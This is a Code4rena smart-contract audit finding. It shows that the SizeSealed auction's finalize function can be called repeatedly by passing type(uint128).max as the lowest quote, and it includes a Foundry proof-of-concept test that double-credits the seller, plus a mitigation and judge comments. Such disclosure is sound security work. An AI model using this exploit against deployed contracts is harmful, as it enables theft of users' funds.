`Seller` can finalize an auction multiple times

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238

Vulnerability details

Impact

To check that an auction has been finalized, the code is based on the check a.data.lowestQuote != type(uint128).max which is modified here.

The idea is that any call to finalize should modify a.data.lowestQuote and change the state of the auction. But is possible to bypass this. The new value for a.data.lowestQuote is passed to the contract by msg.sender and its validity is checked here, but an attacker could pass type(uint128).max so the requirement is fulfilled and the auction does not change state.

It is even quite easy to perform this attack as the attacker could even pass a bid with custom amounts to make sure the attack is possible and play the system.

Then, the attacker could call finalize or even cancel an other time to extract funds.

With this an attacker could steal all funds of the system and mess up the whole auction process.

Proof of Concept

Paste the following code as the first test in SizeSealed.t.sol:

function testAuctionFinalizedTwice() public {
    // Modify the setup
    reserveQuotePerBase = 0;
    minimumBidQuote = 0;
    quoteToken.mint(address(auction), type(uint128).max / 1e20);

    // Create auction
    uint256 aid = seller.createAuction(
        baseToSell,
        reserveQuotePerBase,
        minimumBidQuote,
        startTime,
        endTime,
        unlockTime,
        unlockEnd,
        cliffPercent
    );
    bidder1.setAuctionId(aid);

    bidder1.bidOnAuctionWithSalt(
        type(uint128).max / 1e20, // Bid with amounts of magnitude 1e18
        type(uint128).max / 1e20,
        "hello"
    );
    // Note: the attacker could even be the one doing this bid to make sure the attack is possible

    uint256[] memory bidIndices = new uint256[](1);
    bidIndices[0] = 0;

    vm.warp(endTime);

    (uint256 quoteBalance, ) = seller.balances();
    console.log(quoteBalance); // 0

    // Finalize a first time
    seller.finalize(bidIndices, type(uint128).max, type(uint128).max);
    (quoteBalance, ) = seller.balances();
    console.log(quoteBalance); // 3402823669209384634

    // Finalize a second time
    seller.finalize(bidIndices, type(uint128).max, type(uint128).max);
    (quoteBalance, ) = seller.balances();
    console.log(quoteBalance); // 6805647338418769268
}

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Verify at the end of finalize that a.data.lowestQuote != type(uint128).max

[trust1995]

Nice find! Dup of #252

[c4-judge]

0xean marked the issue as duplicate

[c4-judge]

0xean marked the issue as satisfactory